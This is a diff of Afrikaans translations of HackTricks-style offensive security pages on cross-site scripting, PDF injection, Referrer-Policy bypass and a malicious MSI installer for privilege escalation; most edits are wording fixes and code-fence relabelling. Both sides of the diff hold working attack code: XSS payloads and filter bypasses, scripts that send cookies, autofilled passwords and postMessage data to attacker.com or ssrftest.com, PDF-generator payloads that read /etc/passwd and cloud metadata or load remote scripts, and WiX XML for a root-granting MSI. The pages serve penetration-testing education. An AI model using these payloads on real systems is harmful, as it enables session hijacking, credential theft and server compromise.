Die **HTML-geënkodeerde karakters** binne die waarde van HTML-tags se attribuut word **op tyd van uitvoering gedecodeer**. Daarom sal iets soos die volgende geldig wees (die payload is in vetgedruk): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Gaan Terug </a>`
Die **HTML-gekodeerde karakters** binne die waarde van HTML-tags se attribuut word **op tyd van uitvoering gedecodeer**. Daarom sal iets soos die volgende geldig wees (die payload is in vetgedruk): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Gaan Terug </a>`
Let daarop dat **enige soort HTML-kodering geldig is**:
```javascript
@ -303,7 +303,7 @@ Let daarop dat **enige soort HTML-kodering geldig is**:
```
### Spesiale Protokolle Binnen die attribuut
Daar kan jy die protokolle **`javascript:`** of **`data:`** in sommige plekke gebruik om **arbitraire JS kode** te **voer**. Sommige sal gebruikersinteraksie vereis en sommige nie.
Daar kan jy die protokolle **`javascript:`** of **`data:`** in sommige plekke gebruik om **arbitraire JS kode** uit te voer. Sommige sal gebruikersinteraksie vereis en sommige nie.
```javascript
javascript:alert(1)
JavaSCript:alert(1)
@ -325,8 +325,8 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**Plekke waar jy hierdie protokolle kan inspuit**
**In die algemeen** kan die `javascript:` protokol **gebruik word in enige etiket wat die attribuut `href` aanvaar** en in **meeste** van die etikette wat die **attribuut `src`** aanvaar (maar nie `<img>` nie)
```markup
**In die algemeen** kan die `javascript:` protokol **gebruik word in enige etiket wat die eienskap `href` aanvaar** en in **meeste** van die etikette wat die **eienskap `src`** aanvaar (maar nie `<img>`)
```html
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
@ -377,15 +377,15 @@ Jy kan **Hex** en **Octal kodering** binne die `src` attribuut van `iframe` (ten
```javascript
<a target="_blank" rel="opener"
```
As jy enige URL in 'n arbitrêre **`<a href=`** tag kan inspuit wat die **`target="_blank" en rel="opener"`** eienskappe bevat, kyk die **volgende bladsy om hierdie gedrag te benut**:
As jy enige URL in 'n arbitrêre **`<a href=`** tag kan inspuit wat die **`target="_blank" en rel="opener"`** eienskappe bevat, kyk na die **volgende bladsy om hierdie gedrag te benut**:
{{#ref}}
../reverse-tab-nabbing.md
{{#endref}}
### op Gebeurtenis Hanteerders Omseiling
### oor Gebeurtenis Hanteerders Omseiling
Eerstens, kyk hierdie bladsy ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) vir nuttige **"on" gebeurtenis hanteerders**.\
Eerstens, kyk na hierdie bladsy ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) vir nuttige **"on" gebeurtenis hanteerders**.\
As daar 'n swartlys is wat jou verhinder om hierdie gebeurtenis hanteerders te skep, kan jy die volgende omseilings probeer:
```javascript
<svg onload%09=alert(1)> //No safari
@ -422,8 +422,8 @@ onbeforetoggle="alert(2)" />
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
Van [**hier**](https://portswigger.net/research/xss-in-hidden-input-fields): Jy kan 'n **XSS payload binne 'n verborge attribuut** uitvoer, mits jy die **slagoffer** kan **oortuig** om die **sleutelkombinasie** te druk. Op Firefox Windows/Linux is die sleutelkombinasie **ALT+SHIFT+X** en op OS X is dit **CTRL+ALT+X**. Jy kan 'n ander sleutelkombinasie spesifiseer deur 'n ander sleutel in die toegang sleutel attribuut te gebruik. Hier is die vektor:
```markup
Van [**hier**](https://portswigger.net/research/xss-in-hidden-input-fields): Jy kan 'n **XSS payload binne 'n verborge attribuut** uitvoer, solank jy die **slagoffer** kan **oortuig** om die **sleutelkombinasie** te druk. Op Firefox Windows/Linux is die sleutelkombinasie **ALT+SHIFT+X** en op OS X is dit **CTRL+ALT+X**. Jy kan 'n ander sleutelkombinasie spesifiseer deur 'n ander sleutel in die toegangsleutelattribuut te gebruik. Hier is die vektor:
```html
<input type="hidden" accesskey="X" onclick="alert(1)">
```
**Die XSS payload sal iets soos hierdie wees: `" accesskey="x" onclick="alert(1)" x="`**
@ -452,7 +452,7 @@ As jy 'n **XSS in 'n baie klein deel** van die web gevind het wat 'n soort inter
Byvoorbeeld, jy kan 'n bietjie styl by die element voeg soos: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
Maar, as die WAF die styl eienskap filter, kan jy CSS Styling Gadgets gebruik, so as jy byvoorbeeld vind
Maar, as die WAF die styl eienskap filter, kan jy CSS Styling Gadgets gebruik, so as jy vind, byvoorbeeld
> .test {display:block; color: blue; width: 100%\}
@ -476,7 +476,7 @@ As jou kode binne `<script> [...] var input = 'reflected data' [...] </script>`
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
Let wel dat ons in hierdie voorbeeld **selfs nie die enkele aanhalingstekens gesluit het nie**. Dit is omdat **HTML-parsing eers deur die blaaier uitgevoer word**, wat behels dat bladsy-elemente geïdentifiseer word, insluitend blokke van skrip. Die parsing van JavaScript om die ingebedde skripte te verstaan en uit te voer, word slegs daarna uitgevoer.
Let wel dat ons in hierdie voorbeeld **selfs nie die enkele aanhalingstekens gesluit het nie**. Dit is omdat **HTML-parsing eers deur die blaaier uitgevoer word**, wat behels dat bladsy-elemente geïdentifiseer word, insluitend blokke van skrip. Die parsing van JavaScript om die ingebedde skrips te verstaan en uit te voer, word slegs daarna uitgevoer.
### Binne JS-kode
@ -496,15 +496,15 @@ Dit kan **abused** word met:
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
```
```````````````javascript
```javascript
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``````````````
```````````````
loop``
```
### Gecodeerde kode-uitvoering
```markup
```html
<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
@ -574,7 +574,7 @@ alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
```
**JavaScript spasiestelsels**
**JavaScript spasie**
```javascript
log=[];
function funct(){}
@ -599,7 +599,7 @@ console.log(log)
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
```
**JavaScript sonder hakies**
````javascript
```javascript
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
@ -672,12 +672,12 @@ try{throw onerror=alert}catch{throw 1}
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
````
```
- [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
- [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
**Arbitraire funksie (alert) oproep**
````javascript
```javascript
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
@ -735,7 +735,7 @@ top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
````
```
## **DOM kwesbaarhede**
Daar is **JS kode** wat **onveilige data wat deur 'n aanvaller beheer word** soos `location.href` gebruik. 'n Aanvaller kan dit misbruik om arbitrêre JS kode uit te voer.\
@ -745,14 +745,14 @@ Daar is **JS kode** wat **onveilige data wat deur 'n aanvaller beheer word** soo
dom-xss.md
{{#endref}}
Daar sal jy 'n gedetailleerde **verduideliking vind van wat DOM kwesbaarhede is, hoe hulle veroorsaak word, en hoe om dit te benut**.\
Daar sal jy 'n gedetailleerde **verduideliking vind van wat DOM kwesbaarhede is, hoe dit veroorsaak word, en hoe om dit te benut**.\
Moet ook nie vergeet nie dat **aan die einde van die genoemde pos** jy 'n verduideliking kan vind oor [**DOM Clobbering aanvalle**](dom-xss.md#dom-clobbering).
### Opgradering van Self-XSS
### Koekie XSS
As jy 'n XSS kan ontketen deur die payload binne 'n koekie te stuur, is dit gewoonlik 'n self-XSS. As jy egter 'n **kwesbare subdomein vir XSS** vind, kan jy hierdie XSS misbruik om 'n koekie in die hele domein in te voeg en sodoende die koekie XSS in die hoofdomein of ander subdomeine (diegene wat kwesbaar is vir koekie XSS) te ontketen. Hiervoor kan jy die koekie tossing aanval gebruik:
As jy 'n XSS kan ontketen deur die payload binne 'n koekie te stuur, is dit gewoonlik 'n self-XSS. As jy egter 'n **kwesbare subdomein vir XSS** vind, kan jy hierdie XSS misbruik om 'n koekie in die hele domein in te voeg en sodoende die koekie XSS in die hoofdomein of ander subdomeine (diegene wat kwesbaar is vir koekie XSS) te ontketen. Hiervoor kan jy die koekie toss aanval gebruik:
{{#ref}}
../hacking-with-cookies/cookie-tossing.md
@ -766,7 +766,7 @@ Miskien kan 'n gebruiker sy profiel met die admin deel en as die self XSS binne
### Sessiemirrow
As jy 'n paar self XSS vind en die webblad het 'n **sessiemirrow vir administrateurs**, byvoorbeeld, wat kliënte toelaat om hulp te vra en om die admin jou te help, sal hy sien wat jy in jou sessie sien, maar vanuit sy sessie.
As jy 'n paar self XSS vind en die webblad het 'n **sessiemirrow vir administrateurs**, byvoorbeeld wat kliënte toelaat om hulp te vra, sal die admin sien wat jy in jou sessie sien, maar vanuit sy sessie.
Jy kan die **administrateur jou self XSS laat ontketen** en sy koekies/sessie steel.
@ -782,8 +782,8 @@ Jy kan kyk of die **reflekteerde waardes** **unicode genormaliseer** word op die
```
### Ruby-On-Rails omseiling
As gevolg van **RoR massa toekenning** word aanhalings in die HTML ingevoeg en dan word die aanhaling beperking omseil en addisionele velde (onfocus) kan binne die tag bygevoeg word.\
Formulier voorbeeld ([from this report](https://hackerone.com/reports/709336)), as jy die payload stuur:
As gevolg van **RoR mass assignment** word aanhalings in die HTML ingevoeg en dan word die aanhalingbeperking omseil en addisionele velde (onfocus) kan binne die tag bygevoeg word.\
Form voorbeeld ([from this report](https://hackerone.com/reports/709336)), as jy die payload stuur:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
```
@ -794,7 +794,7 @@ Die paar "Key","Value" sal soos volg teruggegee word:
Dan sal die onfocus-attribuut ingevoeg word en XSS plaasvind.
### Spesiale kombinasies
```markup
```html
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
@ -830,7 +830,7 @@ As jy vind dat jy **headers in 'n 302 Redirect antwoord kan inspuit**, kan jy pr
In [**hierdie verslag**](https://www.gremwell.com/firefox-xss-302) en [**hierdie een**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) kan jy lees hoe jy verskeie protokolle binne die Location-header kan toets en kyk of enige van hulle die blaaier toelaat om die XSS-payload binne die liggaam te inspekteer en uit te voer.\
Verlede bekende protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _leë Location-header_, `resource://`.
### Slegs Letters, Nommers en Punte
### Slegs Letters, Syfers en Punte
As jy in staat is om die **callback** aan te dui wat JavaScript gaan **uitvoer** beperk tot daardie karakters. [**Lees hierdie afdeling van hierdie pos**](#javascript-function) om te vind hoe om hierdie gedrag te misbruik.
@ -870,7 +870,7 @@ const char* const kSupportedJavascriptTypes[] = {
```
Die antwoord is:
- **module** (standaard, niks om te verduidelik nie)
- **module** (verstek, niks om te verduidelik nie)
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles is 'n kenmerk wat jy kan gebruik om 'n klomp data (HTML, CSS, JS…) saam te pak in 'n **`.wbn`** lêer.
```html
<script type="webbundle">
@ -898,9 +898,9 @@ import moment from "moment"
import { partition } from "lodash"
</script>
```
Hierdie gedrag is gebruik in [**hierdie skrywe**](https://github.com/zwade/yaca/tree/master/solution) om 'n biblioteek te herverdeel na eval om dit te misbruik, dit kan XSS ontketen.
Dit gedrag is gebruik in [**hierdie skrywe**](https://github.com/zwade/yaca/tree/master/solution) om 'n biblioteek te herverdeel na eval om dit te misbruik, dit kan XSS onttrigger.
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Hierdie kenmerk is hoofsaaklik om 'n paar probleme wat deur voorvertoning veroorsaak word, op te los. Dit werk soos volg:
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Hierdie kenmerk is hoofsaaklik om 'n paar probleme wat deur voor-rendering veroorsaak word, op te los. Dit werk soos volg:
```html
<script type="speculationrules">
{
@ -955,7 +955,7 @@ chrome-cache-to-xss.md
### XS Jails Ontsnapping
As jy net 'n beperkte stel karakters het om te gebruik, kyk na hierdie ander geldige oplossings vir XSJail probleme:
As jy slegs 'n beperkte stel karakters het om te gebruik, kyk na hierdie ander geldige oplossings vir XSJail probleme:
```javascript
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
@ -988,7 +988,7 @@ constructor(source)()
```
As **alles is onbepaald** voordat onbetroubare kode uitgevoer word (soos in [**hierdie skrywe**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) is dit moontlik om nuttige voorwerpe "uit niks" te genereer om die uitvoering van arbitrêre onbetroubare kode te misbruik:
- Deur gebruik te maak van import()
- Deur import() te gebruik
```javascript
// although import "fs" doesnt work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
@ -1001,7 +1001,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
// our actual module code
})
```
Daarom, as ons vanuit daardie module **'n ander funksie kan aanroep**, is dit moontlik om `arguments.callee.caller.arguments[1]` vanaf daardie funksie te gebruik om **`require`** te bekom:
Daarom, as ons vanuit daardie module **'n ander funksie kan aanroep**, is dit moontlik om `arguments.callee.caller.arguments[1]` vanaf daardie funksie te gebruik om **`require`** te verkry:
```javascript
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
@ -1269,7 +1269,7 @@ Laat die gebruiker toe om in die bladsy te navigeer sonder om 'n iframe te verla
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
> [!NOTE]
> Jy **sal nie in staat wees om die koekies van JavaScript te bekom** as die HTTPOnly-vlag in die koekie gestel is. Maar hier is ['n paar maniere om hierdie beskerming te omseil](../hacking-with-cookies/index.html#httponly) as jy gelukkig genoeg is.
> Jy **sal nie in staat wees om die koekies vanaf JavaScript te bekom nie** as die HTTPOnly-vlag in die koekie gestel is. Maar hier is ['n paar maniere om hierdie beskerming te omseil](../hacking-with-cookies/index.html#httponly) as jy gelukkig genoeg is.
### Steel Bladsy Inhoud
```javascript
@ -1365,7 +1365,7 @@ _Kort tye dui 'n antwoordende poort aan_ _Langere tye dui geen antwoord aan._
Kyk na die lys van poorte wat in Chrome verbied is [**hier**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) en in Firefox [**hier**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
### Bokse om vir akrediteerbesonderhede te vra
```markup
```html
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
```
### Auto-vul wagwoorde vang
@ -1379,7 +1379,7 @@ mode: 'no-cors',
body:username.value+':'+this.value
});">
```
Wanneer enige data in die wagwoordveld ingevoer word, word die gebruikersnaam en wagwoord na die aanvallers se bediener gestuur, selfs as die kliënt 'n gestoor wagwoord kies en niks skryf nie, sal die geloofsbriewe uitgelekt word.
Wanneer enige data in die wagwoordveld ingevoer word, word die gebruikersnaam en wagwoord na die aanvaller se bediener gestuur, selfs al kies die kliënt 'n gestoor wagwoord en skryf niks nie, sal die geloofsbriewe ge-exfiltreer word.
### Keylogger
@ -1405,8 +1405,8 @@ changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
```
### Steel PostMessage-boodskappe
```markup
### Steel PostMessage boodskappe
```html
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
@ -1419,7 +1419,7 @@ document.getElementById("message").src += "&"+e.data;
abusing-service-workers.md
{{#endref}}
### Toegang tot Skadu DOM
### Toegang tot Skadu-DOM
{{#ref}}
shadow-dom.md
@ -1431,10 +1431,10 @@ shadow-dom.md
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
{{#endref}}
### Blind XSS payloads
### Blinde XSS-ladinge
Jy kan ook gebruik maak van: [https://xsshunter.com/](https://xsshunter.com)
```markup
```html
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
@ -1519,7 +1519,7 @@ Meer inligting oor hierdie tegniek hier: [**XSLT**](../xslt-server-side-injectio
### XSS in dinamies geskepte PDF
As 'n webblad 'n PDF genereer met gebruikersbeheerde invoer, kan jy probeer om die **bot te mislei** wat die PDF genereer om **arbitraire JS-kode** te **uit te voer**.\
As 'n webblad 'n PDF skep met gebruikersbeheerde invoer, kan jy probeer om die **bot** wat die PDF skep te **mislei** om **arbitraire JS-kode** te **uit te voer**.\
As die **PDF-skeppende bot** 'n soort **HTML** **tags** vind, gaan dit dit **interpreteer**, en jy kan hierdie gedrag **misbruik** om 'n **Server XSS** te veroorsaak.
{{#ref}}
@ -1532,10 +1532,18 @@ As jy nie HTML-tags kan inspuit nie, kan dit die moeite werd wees om te probeer
pdf-injection.md
{{#endref}}
### XSS in Amp4Email
AMP, wat daarop gemik is om die webbladprestasie op mobiele toestelle te versnel, sluit HTML-tags in wat aangevul word deur JavaScript om funksionaliteit te verseker met 'n fokus op spoed en sekuriteit. Dit ondersteun 'n reeks komponente vir verskeie funksies, toeganklik via [AMP components](https://amp.dev/documentation/components/?format=websites).
Die [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) formaat brei spesifieke AMP-komponente uit na e-posse, wat ontvangers in staat stel om direk met inhoud binne hul e-posse te interaksie.
Voorbeeld [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
### XSS om lêers op te laai (svg)
Laai 'n lêer soos die volgende op as 'n beeld (van [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```markup
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
@ -1553,13 +1561,13 @@ alert(1);
-----------------------------232181429808--
```
```markup
```html
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
```
```markup
```html
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
@ -1592,7 +1600,7 @@ id="foo"/>
```
Vind **meer SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
## Verskeie JS Triks & Relevante Inligting
## Verskeie JS Trukke & Relevante Inligting
{{#ref}}
other-js-tricks.md

View File

@ -8,20 +8,20 @@ As 'n webblad 'n PDF genereer met gebruikersbeheerde invoer, kan jy probeer om d
So, as die **PDF-creator bot** 'n soort **HTML** **tags** vind, gaan dit dit **interpreteer**, en jy kan hierdie gedrag **misbruik** om 'n **Server XSS** te veroorsaak.
Let asseblief daarop dat die `<script></script>` tags nie altyd werk nie, so jy sal 'n ander metode nodig hê om JS uit te voer (byvoorbeeld, om `<img` te misbruik).\
Neem ook kennis dat jy in 'n gewone uitbuiting **die geskepte pdf kan sien/aflaai**, so jy sal alles kan sien wat jy **via JS skryf** (met `document.write()` byvoorbeeld). Maar, as jy die geskepte PDF **nie kan sien nie**, sal jy waarskynlik **die inligting moet onttrek deur webversoeke na jou te maak** (Blind).
Neem ook kennis dat jy in 'n gewone uitbuiting **die geskepte PDF kan sien/aflaai**, so jy sal alles kan sien wat jy **via JS skryf** (met `document.write()` byvoorbeeld). Maar, as jy die geskepte PDF **nie kan sien nie**, sal jy waarskynlik **die inligting moet onttrek deur webversoeke na jou te maak** (Blind).
### Gewilde PDF-generasie
- **wkhtmltopdf** is bekend vir sy vermoë om HTML en CSS in PDF-dokumente om te skakel, met die WebKit-rendering enjin. Hierdie hulpmiddel is beskikbaar as 'n oopbron-opdraglyn-hulpmiddel, wat dit toeganklik maak vir 'n wye reeks toepassings.
- **TCPDF** bied 'n robuuste oplossing binne die PHP-ekosisteem vir PDF-generasie. Dit is in staat om beelde, grafika en versleuteling te hanteer, wat sy veelsydigheid vir die skep van komplekse dokumente toon.
- Vir diegene wat in 'n Node.js-omgewing werk, bied **PDFKit** 'n lewensvatbare opsie. Dit stel die generasie van PDF-dokumente direk vanaf HTML en CSS in staat, wat 'n brug tussen webinhoud en drukbare formate bied.
- Java-ontwikkelaars mag **iText** verkies, 'n biblioteek wat nie net PDF-skep vergemaklik nie, maar ook gevorderde funksies soos digitale handtekeninge en vorminvulling ondersteun. Sy omvattende funksieset maak dit geskik vir die generering van veilige en interaktiewe dokumente.
- Vir diegene wat in 'n Node.js-omgewing werk, bied **PDFKit** 'n lewensvatbare opsie. Dit stel die generasie van PDF-dokumente direk vanuit HTML en CSS in staat, wat 'n brug tussen webinhoud en drukbare formate bied.
- Java-ontwikkelaars mag verkies **iText**, 'n biblioteek wat nie net PDF-skep vergemaklik nie, maar ook gevorderde funksies soos digitale handtekeninge en vorminvulling ondersteun. Sy omvattende funksieset maak dit geskik vir die generering van veilige en interaktiewe dokumente.
- **FPDF** is 'n ander PHP-biblioteek, wat gekenmerk word deur sy eenvoud en gebruiksgemak. Dit is ontwerp vir ontwikkelaars wat 'n eenvoudige benadering tot PDF-generasie soek, sonder die behoefte aan uitgebreide funksies.
## Payloads
### Ontdekking
```markup
```html
<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
@ -36,7 +36,7 @@ Neem ook kennis dat jy in 'n gewone uitbuiting **die geskepte pdf kan sien/aflaa
### SVG
Enige van die vorige of volgende payloads kan binne hierdie SVG-payload gebruik word. Een iframe wat toegang tot die Burpcollab subdomein verkry en 'n ander een wat toegang tot die metadata-eindpunt verkry, word as voorbeelde gegee.
```markup
```html
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
@ -63,7 +63,7 @@ alert(1);
Jy kan 'n baie **ander SVG payloads** vind in [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
### Pad openbaarmaking
```markup
```html
<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
@ -72,7 +72,7 @@ if not, you will at least have wich path the bot is accessing -->
### Laai 'n eksterne skrip
Die beste toepaslike manier om hierdie kwesbaarheid te benut, is om die kwesbaarheid te misbruik om die bot 'n skrip te laat laai wat jy plaaslik beheer. Dan sal jy in staat wees om die payload plaaslik te verander en die bot dit elke keer met dieselfde kode te laat laai.
```markup
```html
<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
```
@ -82,7 +82,7 @@ Die beste toepaslike manier om hierdie kwesbaarheid te benut, is om die kwesbaar
> Verander `file:///etc/passwd` na `http://169.254.169.254/latest/user-data` byvoorbeeld om **te probeer om 'n eksterne webblad te bereik (SSRF)**.
>
> As SSRF toegelaat word, maar jy **kan nie** 'n interessante domein of IP bereik nie, [kyk na hierdie bladsy vir potensiële omseilings](../ssrf-server-side-request-forgery/url-format-bypass.md).
```markup
```html
<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
@ -90,7 +90,7 @@ x.open("GET","file:///etc/passwd");x.send();
</script>
```
```markup
```html
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
@ -100,7 +100,7 @@ xhzeem.send();
</script>
```
```markup
```html
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
@ -112,11 +112,11 @@ xhzeem.send();
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
```
```markup
```html
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
```
### Bot vertraging
```markup
```html
<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
@ -129,7 +129,7 @@ time += 500;
<img src="https://attacker.com/delay">
```
### Poort Skandering
```markup
```html
<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {

View File

@ -24,7 +24,7 @@ Referrer-Policy: unsafe-url
## Teen-Mitigering
Jy kan hierdie reël oorskry deur 'n HTML meta-tag te gebruik (die aanvaller moet 'n HTML-inspuiting benut):
```markup
```html
<meta name="referrer" content="unsafe-url">
<img src="https://attacker.com">
```

View File

@ -1,13 +1,13 @@
{{#include ../../banners/hacktricks-training.md}}
# Skep Kwaadwillige MSI en Verkry Root
# Skep Kwaadwillige MSI en Kry Root
Die skepping van die MSI-installer sal gedoen word met behulp van wixtools, spesifiek [wixtools](http://wixtoolset.org) sal benut word. Dit is die moeite werd om te noem dat alternatiewe MSI-bouers probeer is, maar hulle was nie suksesvol in hierdie spesifieke geval nie.
Vir 'n omvattende begrip van wix MSI gebruiksvoorbeelde, is dit raadsaam om [hierdie bladsy](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with) te raadpleeg. Hier kan jy verskeie voorbeelde vind wat die gebruik van wix MSI demonstreer.
Die doel is om 'n MSI te genereer wat die lnk-lêer sal uitvoer. Ten einde dit te bereik, kan die volgende XML-kode gebruik word ([xml from here](https://0xrick.github.io/hack-the-box/ethereal/index.html#Creating-Malicious-msi-and-getting-root)):
```markup
```html
<?xml version="1.0"?>
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
<Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name"
@ -38,7 +38,7 @@ fail_here
</Product>
</Wix>
```
Dit is belangrik om te noem dat die Package-element eienskappe bevat soos InstallerVersion en Compressed, wat die weergawe van die installer spesifiseer en aandui of die pakket gecomprimeer is of nie, onderskeidelik.
Dit is belangrik om te noem dat die Package-element eienskappe bevat soos InstallerVersion en Compressed, wat die weergawe van die installeerder spesifiseer en aandui of die pakket gecomprimeer is of nie, onderskeidelik.
Die skepproses behels die gebruik van candle.exe, 'n hulpmiddel van wixtools, om 'n wixobject uit msi.xml te genereer. Die volgende opdrag moet uitgevoer word:
```